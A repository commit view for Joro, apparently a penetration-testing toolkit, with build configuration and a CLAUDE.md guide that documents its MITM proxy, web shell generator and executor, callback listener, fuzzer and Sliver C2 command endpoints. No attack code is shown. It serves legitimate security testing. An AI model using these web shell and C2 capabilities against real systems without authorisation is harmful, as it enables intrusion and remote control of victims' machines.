mirror of
https://github.com/BishopFox/joro.git
synced 2026-11-07 10:25:57 -10:00
Initial commit
This commit is contained in:
199 files changed
+40943
No files matched your search
+13
@@ -0,0 +1,13 @@
|
||||
joro
|
||||
test/
|
||||
dist/
|
||||
web/node_modules/
|
||||
!web/dist/.gitkeep
|
||||
|
||||
# plugins
|
||||
*.dylib
|
||||
*.so
|
||||
*.dll
|
||||
|
||||
# Go modules
|
||||
/vendor/
|
||||
@@ -0,0 +1,102 @@
|
||||
version: 2
|
||||
|
||||
project_name: joro
|
||||
|
||||
before:
|
||||
hooks:
|
||||
- go mod tidy
|
||||
- sh -c "cd web && npm ci && npm run build"
|
||||
- sh -c "command -v zig >/dev/null || { echo 'zig not found on PATH (brew install zig)'; exit 1; }"
|
||||
|
||||
builds:
|
||||
- id: joro
|
||||
main: .
|
||||
binary: joro
|
||||
env:
|
||||
- CGO_ENABLED=1
|
||||
# CC routing:
|
||||
# - darwin: leave unset so Go uses Apple's clang, which natively
|
||||
# handles cross-arch builds within the darwin family. Cross-
|
||||
# compiling darwin via zig hits framework/SDK dependency-
|
||||
# resolution issues (libobjc.tbd, etc.) that aren't worth
|
||||
# working around when host clang already supports both archs.
|
||||
# - linux/windows: route through scripts/cc.sh which wraps zig cc
|
||||
# and works around several Go-vs-zig integration issues.
|
||||
# The release build host therefore must be macOS with Xcode CLT
|
||||
# installed (for darwin builds) AND zig on PATH (for linux/windows).
|
||||
- >-
|
||||
CC={{- if eq .Os "darwin" -}}
|
||||
cc
|
||||
{{- else -}}
|
||||
{{ .Env.PWD }}/scripts/cc.sh
|
||||
{{- if eq .Os "linux" }}
|
||||
{{- if eq .Arch "amd64" }} x86_64-linux-gnu.2.17{{ end }}
|
||||
{{- if eq .Arch "arm64" }} aarch64-linux-gnu.2.17{{ end }}
|
||||
{{- end }}
|
||||
{{- if eq .Os "windows" }}
|
||||
{{- if eq .Arch "amd64" }} x86_64-windows-gnu{{ end }}
|
||||
{{- if eq .Arch "arm64" }} aarch64-windows-gnu{{ end }}
|
||||
{{- end }}
|
||||
{{- end }}
|
||||
# netgo + osusergo route DNS and os/user lookups through pure-Go
|
||||
# implementations instead of libresolv / libc. Required for cross-compile
|
||||
# via zig cc since zig's macOS sysroot doesn't ship libresolv. CGO stays
|
||||
# on (-buildmode=plugin needs it); the tags only swap stdlib internals.
|
||||
tags:
|
||||
- netgo
|
||||
- osusergo
|
||||
flags:
|
||||
- -trimpath
|
||||
ldflags:
|
||||
- -s -w
|
||||
- -X main.version={{.Tag}}
|
||||
- -X main.commit={{.ShortCommit}}
|
||||
mod_timestamp: '{{ .CommitTimestamp }}'
|
||||
goos:
|
||||
- linux
|
||||
- darwin
|
||||
- windows
|
||||
goarch:
|
||||
- amd64
|
||||
- arm64
|
||||
|
||||
# NOTE: this archive name template is duplicated in internal/update/update.go
|
||||
# (binary-mode asset download). Keep them in sync.
|
||||
archives:
|
||||
- id: default
|
||||
name_template: "{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}"
|
||||
formats: [tar.gz]
|
||||
format_overrides:
|
||||
- goos: windows
|
||||
formats: [zip]
|
||||
files:
|
||||
- LICENSE
|
||||
- README.md
|
||||
|
||||
checksum:
|
||||
name_template: "checksums.txt"
|
||||
algorithm: sha256
|
||||
|
||||
snapshot:
|
||||
version_template: "{{ .Tag }}-next"
|
||||
|
||||
changelog:
|
||||
sort: asc
|
||||
filters:
|
||||
exclude:
|
||||
- '^docs:'
|
||||
- '^test:'
|
||||
- '^chore:'
|
||||
groups:
|
||||
- title: Features
|
||||
regexp: "^(?i).*add.*$"
|
||||
order: 0
|
||||
- title: "Bug fixes"
|
||||
regexp: "^(?i).*fix.*$"
|
||||
order: 1
|
||||
- title: Others
|
||||
order: 999
|
||||
|
||||
release:
|
||||
draft: true
|
||||
replace_existing_draft: true
|
||||
@@ -0,0 +1,329 @@
|
||||
# Joro - Claude Code Instructions
|
||||
|
||||
## Keeping This File Fresh
|
||||
|
||||
**Update this file whenever significant changes are made to the project** - new packages, changed commands, architectural decisions, or new conventions. Outdated instructions cause mistakes. If you add a dependency, change a build step, or restructure a package, update the relevant section here before finishing the task.
|
||||
|
||||
---
|
||||
|
||||
## Project Overview
|
||||
|
||||
Joro is an intercepting HTTP/HTTPS proxy and web shell toolkit for penetration testing. It is a single Go binary that starts a proxy server and serves a React web UI - there is no CLI mode.
|
||||
|
||||
Three modes:
|
||||
- **Proxy mode** (default): intercepting proxy + web UI
|
||||
- **Listener mode** (`--listener`): out-of-band callback server (DNS + HTTP) for blind vuln detection
|
||||
- **Team Server mode** (`--listener --teamserver`): listener + authenticated team collaboration (chat, notes)
|
||||
|
||||
Ports & paths:
|
||||
- Proxy `:8080` (`--proxy-port`), UI/API `:9090` (`--ui-port`)
|
||||
- Data dir `~/.joro/` — CA cert/key + `callbacks.db`
|
||||
- Listener: DNS `:53` (`--dns-port`), HTTP `:80` (`--http-port`), HTTPS `:443` (`--https-port`, `0` to disable), domain via `--domain` or UI
|
||||
|
||||
---
|
||||
|
||||
## Repository Structure
|
||||
|
||||
```
|
||||
main.go Entrypoint (proxy or listener mode)
|
||||
internal/
|
||||
config/ Config struct + defaults
|
||||
event/ Shared WSEvent struct (avoids proxy/callback import cycle)
|
||||
callback/ SQLite (modernc.org/sqlite), token CRUD, DNS + HTTP listeners
|
||||
cert/ ECDSA P-256 CA, leaf gen, sync.Map cache
|
||||
proxy/
|
||||
handler.go ServeHTTP: CONNECT vs plain HTTP
|
||||
mitm.go TLS termination + HTTP/1.1 loop
|
||||
intercept.go Per-request channel queue with timeout
|
||||
noise.go Silently tunnels browser background traffic
|
||||
scope.go Two-level scope (host + method/path)
|
||||
store.go Thread-safe ring buffer
|
||||
replace.go Match & Replace (raw-byte rules)
|
||||
customdata.go Additive header/query/body injection
|
||||
websocket.go ws_relay.go ws_store.go WS MITM (custom frames over net.Conn)
|
||||
ws_manipulate.go User-driven outbound WS sessions
|
||||
client.go helpers.go HTTP client + utilities
|
||||
team/ Team chat + notes tables, bearer-token auth middleware
|
||||
fuzzer/ Goroutine-pool fuzzer + in-memory campaign store (max 50)
|
||||
shell/ ASP/ASPX/PHP/etc. shell gen + executor + dictionary
|
||||
sliver/ gRPC client for Sliver C2 (custom protowire encoding)
|
||||
plugins/ Plugin lifecycle: load, categorize, init, shutdown
|
||||
api/
|
||||
server.go routes.go APIServer + route registration + SPA embedding
|
||||
ws.go WebSocket hub (gorilla/websocket)
|
||||
handlers_*.go Per-feature handlers (requests, intercept, manipulate,
|
||||
generate, execute, fuzzer, settings, certs, callbacks,
|
||||
replace, customdata, plugins, team, sliver, ws, ...)
|
||||
ws_relay.go Relay to teamserver, forwards team.* events
|
||||
sdk/sdk.go Plugin SDK: interfaces, types, constants (separate Go module)
|
||||
web/
|
||||
embed.go //go:embed dist
|
||||
dist/ Built frontend (gitignored except placeholder)
|
||||
src/
|
||||
main.tsx App.tsx index.css vite-env.d.ts
|
||||
themes/bishop-fox.css Default dark theme (BF brand palette)
|
||||
lib/api.ts ws.ts Typed fetch wrapper + WS singleton (auto-reconnect)
|
||||
stores/*.ts Zustand: request, fuzz, intercept, settings, callback,
|
||||
ws, manipulateWS, team
|
||||
pages/ History, Intercept, Manipulate (HTTP+WS), Generator,
|
||||
Executor, Fuzz, Login, Settings, Callbacks, Plugins,
|
||||
PluginTabPage
|
||||
components/ DynamicConfigForm (auto-gen plugin ExecProvider config)
|
||||
examples/plugins/
|
||||
hello-provider/ ExecProvider + GraphProvider example
|
||||
hello-tab/ hello-feature/ Top-level tab + sub-tab plugin examples
|
||||
hello-dashboard/ Dashboard replacement example
|
||||
interactsh/ InteractProvider: stdlib-only interactsh client
|
||||
Makefile build, build-frontend, build-all, dev, clean
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build Commands
|
||||
|
||||
```bash
|
||||
go build ./... # Go-only (uses placeholder frontend, works without npm)
|
||||
make build # Full (frontend + Go binary)
|
||||
make build-all # Cross-platform → dist/
|
||||
make dev # Backend with --dev flag (proxies UI to Vite)
|
||||
cd web && npm run dev # Vite dev server (separate terminal, with `make dev`)
|
||||
|
||||
# Build a plugin from source (auto-detects .so vs .dylib)
|
||||
./joro --build-plugin examples/plugins/hello-feature
|
||||
./joro --build-plugin examples/plugins/hello-feature --install # also installs to ~/.joro/plugins/
|
||||
|
||||
# Or manually:
|
||||
cd examples/plugins/hello-feature
|
||||
go build -buildmode=plugin -o hello-feature.dylib . # macOS
|
||||
go build -buildmode=plugin -o hello-feature.so . # Linux
|
||||
```
|
||||
|
||||
### Releases
|
||||
|
||||
Tagged releases use [goreleaser](https://goreleaser.com) (config: `.goreleaser.yaml`). `make build` / `make build-all` are the local-dev workflow; goreleaser is only for cutting releases.
|
||||
|
||||
```bash
|
||||
goreleaser release --snapshot --clean # Local snapshot — sanity check config
|
||||
goreleaser check # Verify config syntax
|
||||
git tag v1.0.1 && git push --tags && goreleaser release --clean # Cut release (needs GITHUB_TOKEN)
|
||||
```
|
||||
|
||||
Goreleaser produces 6 binaries (linux/{amd64,arm64}, darwin/{amd64,arm64}, windows/{amd64,arm64}) in tar.gz/zip archives with LICENSE + README, plus `checksums.txt`. All targets are built with `CGO_ENABLED=1` via `zig cc` cross-compilers — required so Go's `plugin` package (dlopen-based) works in release binaries. `make build-all` mirrors the goreleaser config (also CGO=1 + zig cc) and produces all 6 targets. **Requires `zig` on PATH** (`brew install zig`); the goreleaser `before:` hook fails fast if it's missing. Linux glibc is pinned to 2.17 for wide compat. Releases are created as **drafts** so the operator publishes manually. `-X main.version={{.Tag}}` and `-X main.commit={{.ShortCommit}}` are injected at link time. Asset name template (`joro_<version>_<os>_<arch>.tar.gz|zip`) is duplicated in `internal/update/update.go` (`runBinaryUpdate`) — keep them in sync.
|
||||
|
||||
**`--build-plugin` flag forwarding.** `runBuildPlugin` in `main.go` reads `runtime/debug.BuildInfo` from the running binary and forwards ABI-relevant settings to the child `go build -buildmode=plugin`: `-trimpath`, `-tags` (e.g. `netgo,osusergo`), and `CGO_ENABLED` / `GOARM64` / `GOAMD64` env. Without this, a release host (built with `-trimpath -tags netgo,osusergo`) and a plugin built bare hash stdlib packages differently, and dlopen rejects with `plugin was built with a different version of package internal/goarch`. The build banner prints the resolved `Flags:` and `Env:` so mismatches are visible. If a plugin still fails to load with `different version of package …`, check that `go version` (run from the plugin's source dir) matches the host binary's `runtime.Version()`.
|
||||
|
||||
**Plugin go.mod must require the SDK at the host's pseudo-version.** Under `-trimpath`, the Go compiler bakes the SDK's module version string into the position info embedded in exported declarations, which is part of the package's export hash (`go:link.pkghashbytes.github.com/BishopFox/joro/sdk`). The host's `go.mod` requires `github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000` (Go's canonical zero pseudo-version, auto-generated by `go mod tidy` for a local-replace dep with no real tag). A plugin `go.mod` that requires plain `v0.0.0` will produce a different export hash even though the source files and replace target are identical, and `plugin.Open()` will reject with `different version of package github.com/BishopFox/joro/sdk`. The 5 example plugin go.mod files all use the full pseudo-version — do the same in any new plugin. Without `-trimpath`, the issue is masked because position info uses absolute filesystem paths that happen to match across both builds, so `make build` + `--build-plugin` works without the version match; only release (goreleaser) builds expose the bug.
|
||||
|
||||
### In-app updater install modes
|
||||
|
||||
`internal/update/update.go` detects how the running binary was installed:
|
||||
- **Git mode** (`.git` dir alongside executable): `git fetch` + parse upstream `main.go` version literal; update via `git pull --ff-only` + `make build`.
|
||||
- **Binary mode** (no `.git`): hits `GET /repos/BishopFox/joro/releases/latest`, downloads matching archive + `checksums.txt`, verifies SHA-256, atomically replaces the running binary.
|
||||
|
||||
Both paths fail silently on errors (no network, rate limit, missing `git`, bad checksum) — startup is never blocked. After successful update, `update.Restart()` re-execs.
|
||||
|
||||
---
|
||||
|
||||
## Frontend Development
|
||||
|
||||
Source in `web/`. TypeScript/React/Vite.
|
||||
|
||||
```bash
|
||||
cd web
|
||||
npm install # install dependencies
|
||||
npm run dev # Vite dev server on :5173 (use with `make dev`)
|
||||
npm run build # output to web/dist/ (embedded into Go binary)
|
||||
```
|
||||
|
||||
**npm registry:** machine may be on a private registry. If `npm install` fails, check `npm config get registry` and `npm config delete registry`.
|
||||
|
||||
---
|
||||
|
||||
## API Reference
|
||||
|
||||
All under `/api/v1/`. Request/response shapes are JSON unless noted. WebSocket events stream from `/ws`.
|
||||
|
||||
**History & intercept**
|
||||
- `GET/DELETE /requests`, `GET /requests/:id` — paginated history with filters; raw bytes base64
|
||||
- `GET /intercept`, `PUT /intercept/enabled`, `POST /intercept/:id/{forward,drop}` — queue control; forward accepts modified `reqRaw` base64
|
||||
|
||||
**Manipulate**
|
||||
- `POST /manipulate/send` — raw HTTP `{raw b64, scheme, host}`
|
||||
- `POST /manipulate/ws/connect` — `{raw b64, scheme: ws|wss, host}` → `{sessionId, status, rawResp, error}` (always 200; sessionId empty on failure)
|
||||
- `POST /manipulate/ws/{id}/send` — `{opcode: text|binary|ping|pong|close, payload b64}`
|
||||
- `POST /manipulate/ws/{id}/disconnect`
|
||||
|
||||
**Shells**
|
||||
- `POST /generate` — `{format: php|asp|aspx|ashx|jsp|cfm}`
|
||||
- `POST /execute` — `{target, webshell, authKey, command}`
|
||||
|
||||
**Fuzzer**
|
||||
- `POST /fuzzer/start` — `{raw, scheme, host, wordlist[], wordlists?, attackMode?, threads, rateLimit, followRedirects, updateContentLength?, matchers, filters}`
|
||||
- `POST /fuzzer/{id}/stop`, `GET /fuzzer/campaigns`, `GET /fuzzer/campaigns/{id}` (paginated results), `DELETE /fuzzer/campaigns/{id}`
|
||||
- `POST /fuzzer/wordlist` — multipart upload → `{lines[], count}`
|
||||
|
||||
**Filters & rules** (each: `GET`, `PUT /enabled`, `POST` add, `DELETE /{id}`)
|
||||
- `/noise` — `{pattern}`
|
||||
- `/scope/rules` — `{pattern, methods, path, include}`
|
||||
- `/replace/rules` — `{target, matchType, match, replace}` (target ∈ request_header, request_body, response_header, response_body, ws_message)
|
||||
- `/customdata/items` — `{type, name, value}`
|
||||
|
||||
**WebSocket capture**
|
||||
- `GET /ws/messages?host=&offset=&limit=`, `DELETE /ws/messages`
|
||||
|
||||
**Settings & system**
|
||||
- `GET/PUT /settings`, `GET /certs/ca.crt`, `GET /mode` (returns `{mode: proxy|listener}`)
|
||||
- `POST /system/restart` — graceful re-exec
|
||||
|
||||
**Callbacks (listener mode)**
|
||||
- `GET/PUT /callbacks/config` — `{domain, responseIp}`
|
||||
- `GET/POST /callbacks/tokens`, `DELETE /callbacks/tokens/{id}` (cascade)
|
||||
- `GET/DELETE /callbacks/interactions?token_id=`
|
||||
|
||||
**Sliver C2**
|
||||
- `GET /sliver/status`, `POST /sliver/{connect,disconnect}`, `GET /sliver/sessions`
|
||||
- `POST /sliver/execute` — `{sessionId, command, args}`
|
||||
- `POST /sliver/command` — `{input}` → `{output, error, downloadId?, filename?}` (text command dispatcher)
|
||||
- `GET /sliver/download/{id}` (60s TTL cache), `POST /sliver/upload` (multipart)
|
||||
|
||||
**Team server** (auth: `Authorization: Bearer <token>` + `X-Joro-Nickname`)
|
||||
- `GET/POST /team/chat`, `GET /team/users`, `POST /team/nickname` (`{oldNickname, newNickname}`)
|
||||
- `GET /team/notes/hosts`, `GET/POST /team/notes`, `DELETE /team/notes/{id}`
|
||||
|
||||
**Plugins**
|
||||
- `GET /plugins`, `POST /plugins/upload` (multipart, 32MB max), `DELETE /plugins/{filename}` (restart required)
|
||||
- `GET /plugins/{exec-providers,interact-providers,graph}`
|
||||
- Per-plugin exec: `GET /plugin/{name}/status`, `POST /plugin/{name}/{connect,disconnect,command}`
|
||||
- Per-plugin interact: `GET/POST /plugin/{name}/interact/instances`, `DELETE /plugin/{name}/interact/instances/{id}`, `PUT .../enabled`, `GET/DELETE /plugin/{name}/interact/interactions?instance_id=`
|
||||
|
||||
### WebSocket Events (over `/ws`)
|
||||
|
||||
```
|
||||
request.captured { ...RequestSummary }
|
||||
intercept.queued { id, method, url, host, reqRaw }
|
||||
intercept.resolved { id, action: forward|drop }
|
||||
callback.interaction { ...Interaction }
|
||||
ws.message { id, connectionId, timestamp, direction, opcode, payloadLength, payload, host, url, isText }
|
||||
team.chat { id, author, text, createdAt }
|
||||
team.note { id, host, content, author, createdAt, updatedAt }
|
||||
team.presence { users: [...] }
|
||||
team.nickname_changed { oldNickname, newNickname }
|
||||
fuzzer.started { campaignId, total }
|
||||
fuzzer.result { campaignId, result: { index, payload, payloads?, statusCode, size, words, lines, durationMs, url } }
|
||||
fuzzer.complete { campaignId, status, completed, errors }
|
||||
manipulate.ws.frame { sessionId, direction: sent|received, opcode, payload (b64), isText, size, ts }
|
||||
manipulate.ws.closed { sessionId, reason }
|
||||
system.update.restarting {}
|
||||
plugin.{name}.{eventType} { ... }
|
||||
plugin.{name}.interaction { id, instanceId, hex, protocol, sourceIp, timestamp, queryName?, queryType?, method?, path?, rawRequest? }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Go Dependencies
|
||||
|
||||
| Module | Purpose |
|
||||
|--------|---------|
|
||||
| `github.com/hashicorp/go-uuid` | UUIDs for shell auth keys |
|
||||
| `github.com/gorilla/websocket` | WebSocket server |
|
||||
| `github.com/miekg/dns` | DNS server (callback listener) |
|
||||
| `modernc.org/sqlite` | Pure-Go SQLite (no CGO, cross-compiles) |
|
||||
| `google.golang.org/grpc` + `google.golang.org/protobuf` | Sliver C2 client (protowire hand-encoded) |
|
||||
| `github.com/spf13/pflag` | POSIX-compliant CLI flags |
|
||||
| `github.com/BishopFox/joro/sdk` | Plugin SDK (local module via `replace`) |
|
||||
| stdlib for everything else | `crypto/x509`, `crypto/ecdsa`, `embed`, `net/http`, `io/fs`, ... |
|
||||
|
||||
Tracked via `go.mod` / `go.sum` only — repo does **not** vendor (see "no vendor/" decision below). Add deps with `go get <module>` then `go mod tidy`. Commit `go.mod` + `go.sum` together. Do not hand-edit them.
|
||||
|
||||
---
|
||||
|
||||
## Key Design Decisions
|
||||
|
||||
- **No CLI mode.** All features through web UI. Don't add CLI flags for shell gen/exec.
|
||||
- **No global variables.** Functions take parameters; globals removed in v0.5.0.
|
||||
- **No `os.Exit` in packages.** Only `main.go` exits. Internal packages return errors.
|
||||
- **Intercept uses per-request channels.** `InterceptQueue.Pause()` blocks the proxy goroutine until `Resolve()` or timeout (default 60s). Don't change to polling.
|
||||
- **CA cert reused across restarts.** `cert.LoadOrCreate()` only regenerates when missing.
|
||||
- **`web/dist/` embedded** via `//go:embed dist`. Placeholder `index.html` exists so `go build` works before `npm run build`.
|
||||
- **Noise filter is separate from scope.** Silently tunnels common browser background traffic (captive portal, telemetry, OCSP, safe browsing) without capture. Enabled by default. Checked **before** scope — noisy hosts never MITM'd regardless of scope rules.
|
||||
- **Two-level scope filtering.** L1 (CONNECT): host pattern only — out-of-scope hosts tunneled raw without MITM. L2 (request): host + method + path after TLS termination — out-of-scope requests forwarded without capture/intercept. Disabled by default; enabled with no rules blocks everything (safe default). Exclude rules override include rules.
|
||||
- **Listener mode is mutually exclusive with proxy mode.** `--listener` starts DNS + HTTP callback servers + reduced API/UI. No CA, proxy, or intercept. Data in `~/.joro/callbacks.db`.
|
||||
- **Token entropy:** 12 hex chars = 48 bits. Correlated by leftmost subdomain label.
|
||||
- **Port 53 needs root/capabilities on Linux.** `setcap cap_net_bind_service=+ep ./joro` or iptables redirect.
|
||||
- **`internal/event` package** holds shared `WSEvent` to avoid proxy↔callback import cycle.
|
||||
- **Match & Replace operates on raw bytes.** Splits raw dump at `\r\n\r\n`, applies header/body rules independently, then reparses. Cumulative in order. Supports `string` and `regex`. Targets: `request_header`, `request_body`, `response_header`, `response_body`, `ws_message`.
|
||||
- **WebSocket MITM uses custom frame reader/writer** on raw `net.Conn` (not gorilla). Detected via `Upgrade: websocket`. After 101, two goroutines relay bidirectionally. Control frames forwarded immediately; data frames accumulated until FIN, match/replace applied on complete messages, forwarded as single frame. 16MB payload limit.
|
||||
- **WebSocket Manipulate is a client path, not proxy interception.** `internal/proxy/ws_manipulate.go` dials per-session (TCP or TLS w/ `InsecureSkipVerify`, honoring `TransportConfig.SOCKSDialContext()`), writes raw upgrade verbatim (injects `Sec-WebSocket-Key` only if missing), parses 101 with `http.ReadResponse`, reassembles continuation frames, calls `onFrame` per complete message. `Send` writes a single FIN masked frame. Sessions in-memory only, dropped on restart/error/close. Transcript streamed via `manipulate.ws.frame`/`manipulate.ws.closed` — sent frames also broadcast so multiple UI tabs stay in sync. Match & Replace intentionally NOT applied — what you type is what goes on the wire.
|
||||
- **Custom Data is purely additive.** Unlike Match & Replace (needs match pattern), Custom Data appends headers, query params, or body data to in-scope requests. Applied after Match & Replace. UI in "Customize Requests" tab.
|
||||
- **Fuzzer:** producer-consumer goroutine pool, 1-100 threads, rate limiting. Reuses `proxy.TransportConfig.Transport()` (SOCKS, HTTP/2, keep-alive). Results streamed via `fuzzer.result` with RAF batching client-side. Response bodies NOT stored — only metrics (status, size, words, lines, duration). Campaigns in memory (max 50, oldest completed evicted). Single (`FUZZ`) or multi-position (`FUZZ1`, `FUZZ2`, ...). Multi-position attack modes: **Spray** (same payload all positions), **Split** (parallel iteration), **Yolo** (cartesian product, max 10M). Detection regex `FUZZ(\d+)` with fallback to `FUZZ`. Replaced longest-label-first (e.g. `FUZZ10` before `FUZZ1`). Matchers (whitelist) / filters (blacklist) on status, size, words, lines, regex. Content-Length auto-update toggled by `updateContentLength`.
|
||||
- **CORS is permissive (`*`) intentionally** — proxy only listens on localhost.
|
||||
- **Sliver C2 uses custom protowire encoding** to avoid the massive Sliver dep tree. `internal/sliver/`: `wire.go` (hand-encoded proto), `client.go` (gRPC), `commands.go` (text command dispatcher). Binary downloads/screenshots cached server-side, 60s TTL. `POST /sliver/command` is the main interface — `{input}` → `{output, error, downloadId?, filename?}`. Active session tracked in `Client.activeSessionID`.
|
||||
- **Team Server mode (`--listener --teamserver`)** extends listener mode with auth + collaboration. 32-char hex token generated at startup, printed to console. All teamserver requests (except `GET /api/v1/mode`) require `Authorization: Bearer <token>`. Nicknames via `X-Joro-Nickname`. Teamserver is API-only (no frontend). Proxy connects via `listenerUrl` and forwards team requests with `proxyToListener()`. Team data stored in `callbacks.db`. Active users tracked via WS hub client map (conn → nickname). Proxy maintains a WS relay (`ws_relay.go`) that forwards `team.*` events to the local hub. Nickname rename via `POST /api/v1/team/nickname` atomically renames in hub map and broadcasts `team.nickname_changed`, avoiding the disconnect/reconnect a full relay restart would cause; relay's cached nickname updated via `ListenerRelay.SetNickname()`. On 409 (collision), proxy rolls back the local `teamNickname` setting and surfaces the error. Team Chat does NOT fetch history on load — operators see only WS messages from session start. System announcements (`[*] X connected!`, etc.) are synthetic client-side entries in `teamStore` from `team.presence` diffs + `team.nickname_changed` events; persist across tab switches but not page reloads.
|
||||
- **Plugin system uses Go's `plugin` package** (.so on Linux, .dylib on macOS). **Linux and macOS only** — Go's plugin package does not support Windows or any GOOS outside Linux/Darwin/FreeBSD. `joro --build-plugin` errors immediately on Windows; release binaries on Windows still load fine but cannot use plugins. Plugin support requires the host binary to be built with `CGO_ENABLED=1`; the goreleaser config + Makefile do this via `zig cc`. Loaded at startup from `~/.joro/plugins/`. Each exports `var Plugin sdk.Plugin`. SDK in `sdk/sdk.go` as separate Go module (`replace` in go.mod). Six plugin types: `exec_provider`, `tab`, `feature`, `proxy_hook`, `dashboard` (only one active), `interact_provider`. Names match `^[a-z0-9][a-z0-9_-]*$`, can't be reserved (`api`, `ws`, `ext`, `system`). All method calls wrapped with panic recovery. Plugins get scoped data dir (`~/.joro/plugin-data/{name}/`) and scoped WS broadcast (events auto-prefixed `plugin.{name}.`). Tab/feature/dashboard plugins serve embedded UIs at `/plugin/{name}/` in sandboxed iframes (`allow-scripts allow-forms`). API calls from iframes work because CORS is `*`. Upload/delete require restart — Plugins page has "Restart Now" button (`POST /api/v1/system/restart`, same `syscall.Exec` re-exec as updates). Proxy hooks run in load order; `OnRequest` returning nil drops a request. `ConfigField.Type` ∈ `text|password|textarea|file|checkbox`; checkboxes serialize as `"true"`/`"false"` to preserve `map[string]string` wire shape.
|
||||
- **Plugin state persistence is opt-in via two SDK interfaces.** `UserStatefulPlugin` (`ExportUserState`/`ImportUserState`) — operator-scoped state riding with User Configs (API keys, personal tokens). `ProjectStatefulPlugin` (`ExportProjectState`/`ImportProjectState`) — engagement-scoped state riding with Project Configs (active sessions, instance configs). May implement either, both, or neither. State bytes are opaque — plugins own schema and migration. No autosave on shutdown, no separate on-disk state files: serialized only when user saves a User/Project Config, applied only on load. `internal/plugins/manager.go` exposes `{Export,Apply}{User,Project}States`. Config handlers in `internal/api/handlers_configs.go` embed a `pluginStates` map (name → base64 blob) in `userConfigFile` (v2) and `projectConfigFile` (v3), and ghost-preserve blobs for plugins not installed locally via `APIServer.pendingUserPluginStates` / `pendingProjectPluginStates`, so a load→save round-trip never drops state for missing plugins. Load responses include `unknownPluginStates: []` shown in Settings.
|
||||
- **Interactsh shipped as an example plugin** (`examples/plugins/interactsh/`), not native. Reimplements interactsh wire protocol with stdlib only — RSA-2048 keygen, RSA-OAEP-SHA256 for session AES-256 key, AES-CTR for per-interaction payloads, per-instance `http.Client` with opt-in `InsecureSkipVerify` for self-signed self-hosted servers. Main binary has zero `projectdiscovery/*` deps. Implements `ProjectStatefulPlugin` (`state.go`): saves RSA keypair (PKCS#1 PEM), correlation ID, nonce, secret key, auth token, enabled state per server. Loading reconstructs servers and resumes polling without re-registering, so in-flight interactions keep decrypting against the existing session. Correlation IDs only useful while the remote server retains them (~24h on oast.live).
|
||||
- **No `vendor/` directory.** Tracked via `go.mod`/`go.sum` only. Plugins have own `go.mod` with `replace github.com/BishopFox/joro/sdk => ../../../sdk`, building in mod-mode. If the main binary built in vendor-mode, its module graph would hash differently than the plugin's and Go's plugin loader would reject the .so/.dylib with `plugin was built with a different version of package github.com/BishopFox/joro/sdk`. Do not run `go mod vendor` or commit a `vendor/` tree.
|
||||
- **Theming uses CSS custom properties + `data-theme` attribute.** See Theme Architecture below.
|
||||
|
||||
---
|
||||
|
||||
## Theme Architecture
|
||||
|
||||
UI ships **Bishop Fox** theme (BF brand palette, id `bishop-fox`) as default, alongside named alternates. Colors are CSS custom properties on `[data-theme="..."]` selectors, mapped to semantic Tailwind classes via `tailwind.config.js`.
|
||||
|
||||
Brand palette uses 16 colors — White, Black, Red `#FA4844`, Magenta `#BF1363`, Crimson `#E40505`, Coral `#EF5B5B`, Orange `#FF7F11`, Amber `#FFBA49`, Lime `#D7E300`, Teal `#00A49E`, plus 6 grays/browns from light gray to near-black.
|
||||
|
||||
### CSS Variable → Tailwind Class Mapping
|
||||
|
||||
| CSS Variable | Tailwind Class | Usage |
|
||||
|---|---|---|
|
||||
| `--color-surface-body` | `bg-surface-body` | Page background |
|
||||
| `--color-surface-card` | `bg-surface-card` | Cards, panels, header |
|
||||
| `--color-surface-input` | `bg-surface-input` | Inputs, elevated surfaces |
|
||||
| `--color-surface-hover` | `bg-surface-hover` | Hover backgrounds |
|
||||
| `--color-surface-terminal` | `bg-surface-terminal` | Terminal background |
|
||||
| `--color-border`, `--color-border-subtle` | `border-border`, `border-border-subtle` | Borders, row separators |
|
||||
| `--color-content-{primary,secondary,muted}` | `text-content-{primary,secondary,muted}` | Text |
|
||||
| `--color-accent` (+`-hover`) | `text-accent`, `bg-accent` | Primary — red (title, selected tabs, toggles) |
|
||||
| `--color-accent-secondary` (+`-hover`) | `text-accent-secondary`, `bg-accent-secondary` | Secondary — teal (action buttons, links) |
|
||||
| `--color-accent-tertiary` (+`-hover`) | `text-accent-tertiary`, `bg-accent-tertiary` | Tertiary — lime (forward/generate actions) |
|
||||
| `--color-semantic-success` | `text-semantic-success` | Lime |
|
||||
| `--color-semantic-error` (+`-bg`, `-hover`) | `text-semantic-error`, `bg-semantic-error-bg`, `bg-semantic-error-hover` | Red text / crimson bg / coral hover |
|
||||
| `--color-semantic-info` | `text-semantic-info` | Teal |
|
||||
| `--color-semantic-warning` | `text-semantic-warning` | Amber |
|
||||
| `--color-semantic-special` | `text-semantic-special` | Magenta |
|
||||
|
||||
### How It Works
|
||||
|
||||
1. `web/index.html` has `data-theme="bishop-fox"` on `<html>`
|
||||
2. Each `web/src/themes/<name>.css` defines variables under `[data-theme="<name>"]`
|
||||
3. `web/tailwind.config.js` maps semantic classes to `var(--color-*)`
|
||||
4. Components use semantic classes only — never raw Tailwind colors
|
||||
|
||||
To add a new theme: create `web/src/themes/<name>.css` with all `--color-*` variables under `[data-theme="<name>"]`, import in `web/src/index.css`, set `data-theme="<name>"` on `<html>` to activate.
|
||||
|
||||
### Important
|
||||
|
||||
- **No raw Tailwind colors in components.** No `bg-gray-*`, `text-red-*`, etc. in TSX. Always use semantic classes.
|
||||
- **Three accent colors:** Red (`accent`) for brand/emphasis/selected, Teal (`accent-secondary`) for actions/links, Lime (`accent-tertiary`) for positive/forward.
|
||||
- **`bg-accent-tertiary` and `bg-accent-secondary` buttons need `text-black`** for legibility.
|
||||
- **Tailwind opacity syntax (`bg-color/80`) won't work** with CSS variable colors. Use a dedicated variable or a different palette color.
|
||||
- **CodeMirror uses `oneDark`** — not yet integrated with theming.
|
||||
- **Theme selector** on Settings page. Stored in `localStorage` under `joro-theme`, applied on load in `main.tsx`.
|
||||
|
||||
---
|
||||
|
||||
## Testing
|
||||
|
||||
No automated tests yet. Manual verification:
|
||||
|
||||
1. `go build ./...` compiles cleanly
|
||||
2. `./joro` prints `Proxy listening on :8080` and `UI available at http://localhost:9090`
|
||||
3. Browser proxy → `localhost:8080`; import `~/.joro/ca.crt`
|
||||
4. Browse HTTPS site; requests appear in History
|
||||
